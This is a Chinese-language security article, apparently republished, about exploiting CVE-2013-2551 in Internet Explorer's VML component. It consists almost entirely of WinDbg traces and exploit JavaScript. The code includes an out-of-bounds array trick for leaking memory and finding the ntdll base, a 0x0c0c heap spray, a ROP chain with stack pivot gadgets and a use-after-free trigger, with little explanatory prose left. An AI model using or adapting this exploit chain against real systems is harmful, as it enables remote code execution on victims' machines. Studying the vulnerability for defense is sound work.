本文讲的是
CVE-2013-2551样本分析及漏洞利用和防御,
0x0 写在前面
0:012> g (894.f80): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=201c7064 ebx=72a94964 ecx=00000001 edx=00000000 esi=201c7060 edi=08b69d44 eip=76de9966 esp=08b69d00 ebp=08b69d08 iopl=0 nv up ei ng nz ac pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297 msvcrt!memcpy+0x158: 76de9966 8b448efc mov eax,dword ptr [esi+ecx*4-4] ds:002b:201c7060=????????
0:004> kb ChildEBP RetAddr Args to Child 08b69d08 72a3cfa9 08b69d44 201c7060 00000004 msvcrt!memcpy+0x158 08b69d1c 72a8da0f 20c5afe8 08b69d44 00000044 vgx!ORG::Get+0x27 08b69d48 76c53e75 20c5afe8 00000044 08b69dac vgx!COALineDashStyleArray::get_item+0x8c 08b69d68 76c53cef 20e62ff0 00000024 00000004 OLEAUT32!DispCallFunc+0x165 ...(lines have been omitted)...
0:004> lm vm vgx start end module name 72a10000 72ad1000 vgx (pdb symbols) c:symboslVGX.pdb3CED25965F214824ABDF507AE4541DE32VGX.pdb Loaded symbol image file: C:Program Files (x86)Common FilesMicrosoft SharedVGXvgx.dll Image path: C:Program Files (x86)Common FilesMicrosoft SharedVGXvgx.dll Image name: vgx.dll Timestamp: Tue Jul 14 09:11:08 2009 (4A5BDB2C) CheckSum: 000C2C1E ImageSize: 000C1000 File version: 8.0.7600.16385 Product version: 8.0.7600.16385 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Microsoft Corporation ProductName: Windows® Internet Explorer InternalName: VGX.DLL OriginalFilename: VGX.DLL ProductVersion: 8.00.7600.16385 FileVersion: 8.00.7600.16385 (win7_rtm.090713-1255) FileDescription: Microsoft Vector Graphics Rendering(VML) LegalCopyright: © Microsoft Corporation. All rights reserved.
72a8da0c ff511c call dword ptr [ecx+1Ch] 72a8da0f 8b4510 mov eax,dword ptr [ebp+10h]
0x72a8da0c - 0x72a10000 + 0x198C0000 = 0x1993DA0C
0:015> .childdbg 1 Processes created by the current process will be debugged 0:015> bu 72a8da0c - 72a10000 + vgx.dll 0:015> bu 72a8d983 - 72a10000 + vgx.dll 0:015> bl 0 e 70a4da0c 0001 (0001) 0:**** vgx!COALineDashStyleArray::get_item+0x89 1 e 70a4d983 0001 (0001) 0:**** vgx!COALineDashStyleArray::get_item
vgx!COALineDashStyleArray::get_item+0x70: 70a4d9f3 ff512c call dword ptr [ecx+2Ch] ds:002b:709e7284={vgx!ORG::CElements (709fd079)}
vml1.dashstyle.array.length = 0 - 1
for (var i=0; i<0x400; i++){ a[i].rotation; if (i == 0x300) { vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1; for (var i=0; i<0x400; i++) { a[i].marginLeft = "Khwarezm111"; marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16); if (marginLeftAddress > 0) { vml1.dashstyle.array.item(0x2e+0x16) = 0x7ffe0300; var leak = a[i].marginLeft; vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress; vml1.dashstyle.array.length = length_orig; ntdll_base=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16 ) - 0x470B0;
vml1.dashstyle.array.item(0x2e+0x16) = 0x7ffe0300; alert("pause");
0:015> s -b 0x0 L?0x7fffffff 00 03 fe 7f 020ce7c8 00 03 fe 7f c4 ea 0d 02-90 d5 0c 02 00 00 00 00 ................ 020dbfa3 00 03 fe 7f 25 01 00 5b-03 14 1e 74 05 00 00 0a ....%..[...t.... 020dccb8 00 03 fe 7f 00 00 00 00-80 00 0b 02 00 00 00 00 ................ 04be5c78 00 03 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................ 762113e6 00 03 fe 7f ff 12 c2 04-00 90 90 90 90 90 90 90 ................ 76212b41 00 03 fe 7f ff 12 c2 08-00 90 90 90 90 90 b8 01 ................
0:015> s -u 0x0 L?0x7fffffff "Khwarezm111" 0044df04 004b 0068 0077 0061 0072 0065 007a 006d K.h.w.a.r.e.z.m. 004b48b8 004b 0068 0077 0061 0072 0065 007a 006d K.h.w.a.r.e.z.m.
0:015> s -b 0x0 L?0x7fffffff 04 df 44 00 04bc8568 04 df 44 00 00 00 00 00-00 00 00 00 00 00 00 00 ..D............. 04c0cdcc 04 df 44 00 00 9d 0b 02-28 46 9c 77 04 df 44 00 ..D.....(F.w..D. 04c0cdd8 04 df 44 00 7c 78 0d 02-16 00 00 00 18 cc 64 6c ..D.|x........dl 04c22c84 04 df 44 00 00 9d 0b 02-28 46 9c 77 04 df 44 00 ..D.....(F.w..D. 04c22c90 04 df 44 00 7c 78 0d 02-16 00 00 00 18 cc 64 6c ..D.|x........dl
0:015> db 04a08124 L16 04a08124 4b 00 68 00 77 00 61 00-72 00 65 00 7a 00 6d 00 K.h.w.a.r.e.z.m. 04a08134 31 00 31 00 31 00 1.1.1. 0:015> db 04a0814c L16 04a0814c 4b 00 68 00 77 00 61 00-72 00 65 00 7a 00 6d 00 K.h.w.a.r.e.z.m. 04a0815c 31 00 31 00 31 00 1.1.1.
0:015> dd 7ffe0300 L1 7ffe0300 778970b0 0:015> u 778970b0 ntdll!KiFastSystemCall: 778970b0 8bd4 mov edx,esp 778970b2 0f34 sysenter
var fill = unescape("%u0c0c%u0c0c"); while (fill.length < 0x1000){ fill += fill; } // [ padding offset ] padding = fill.substring(0, 0x5F6); // [ fill each chunk with 0x1000 bytes ] evilcode = padding + rop_chains + shellcode + fill.substring(0, 0x800 - padding.length - rop_chains.length - shellcode.length);
function getRealAddr(base ,offect){ var real_addr = base + offect; var str = real_addr.toString(16); var s1 = str.substring(0,4); var s2 = str.substring(4,8); return "%u" + s2 + "%u" + s1 } ntdll_base = getNtdllBase(); stack_pivot = getRealAddr(ntdll_base,0x0001578a); stack_pivot += getRealAddr(ntdll_base,0x000096c9); stack_pivot += getRealAddr(ntdll_base,0x00015789); ntdll_rop = getRealAddr(ntdll_base ,0x45F18); ntdll_rop += "%u0c40%u0c0c"; ntdll_rop += "%uffff%uffff"; ntdll_rop += "%u0c34%u0c0c"; ntdll_rop += "%u0c38%u0c0c"; ntdll_rop += "%u0040%u0000"; ntdll_rop += "%u0c3c%u0c0c"; ntdll_rop += "%u0c40%u0c0c"; ntdll_rop += "%u0400%u0000"; ntdll_rop += "%u4141%u4141"; rop_chains = unescape(stack_pivot + ntdll_rop);
for (var i=0; i<0x1000; i++){ a2[i] = document.getElementById("rect" + i.toString())._anchorRect; if (i == 0x800) { vml1.dashstyle = "1 2 3 4" } } vml1.dashstyle.array.length = 0 - 1; vml1.dashstyle.array.item(6) = 0x0c0c0c0c; for (var i=0; i<0x1000; i++) { delete a2[i]; CollectGarbage(); } location.reload();
vml1.dashstyle.array.length = 0 - 1; vml1.dashstyle.array.item(6) = 0x0eeeee0e; alert("pause");
0:015> s -b 0x0 L?0x7fffffff 0e ee ee 0e 01a25c49 0e ee ee 0e 25 01 00 94-91 c8 0a 74 05 00 8c fc ....%......t.... 01a2ca8a 0e ee ee 0e 25 01 00 5b-03 28 1e 74 05 00 00 0a ....%..[.(.t.... 01a2cfc0 0e ee ee 0e 00 00 00 00-80 00 00 00 00 00 00 00 ................ 12b60280 0e ee ee 0e 50 00 b8 12-01 00 00 00 04 3c 92 12 ....P........<..
0:005> kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 020cb840 6a23f212 12ba7be0 6a2bf712 126e3760 0xc0c0c0c 020cb848 6a2bf712 126e3760 126df2c8 6a2bf668 mshtml!ClearInterfaceFn+0xf 020cb854 6a2bf668 126e3748 126e3760 126df2c8 mshtml!CPeerHolder::DetachPeer+0x56 ...(lines have been omitted)...
mshtml!ClearInterfaceFn: 6a23f202 8b08 mov ecx,dword ptr [eax] 6a23f204 832000 and dword ptr [eax],0 6a23f207 85c9 test ecx,ecx 6a23f209 7501 jne mshtml!ClearInterfaceFn+0x9 (6a23f20c) 6a23f20b c3 ret 6a23f20c 8b01 mov eax,dword ptr [ecx] 6a23f20e 51 push ecx 6a23f20f ff5008 call dword ptr [eax+8] 6a23f212 ebf7 jmp mshtml!ClearInterfaceFn+0xf (6a23f20b)
0:005> u poi(0c0c0c0c + 8) L1 ntdll!A_SHAInit+0x2e: 77865789 94 xchg eax,esp
var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1; for (var i=0; i<0x400; i++) { a[i].marginLeft = "Khwarezmia"; marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16); if (marginLeftAddress > 0) { ///////////////////////////////////////////////////////// //offset to PE vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + 0x3c; var leak = a[i].marginLeft; pe_offset = parseInt(leak.charCodeAt(0).toString(16), 16); //find import directory vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + pe_offset + 0x80; var leak = a[i].marginLeft; import_directory = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16); //find kernel32.dll vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + import_directory + 0x4C; var leak = a[i].marginLeft; thunk = parseInt(leak.charCodeAt(0).toString(16), 16); //find first function address vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + thunk; var leak = a[i].marginLeft; first_function_addr = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16); ntdll_base = first_function_addr - 0x47760; //return original value vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress; vml1.dashstyle.array.length = length_orig; ///////////////////////////////////////////////////////// alert("base of ntdll.dll : " + ntdll_base.toString(16)); break; } } return ntdll_base;
vml1.dashstyle.array.length = 0 - 1;
原文发布时间为:2017年4月17日
本文作者:兴华永恒
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。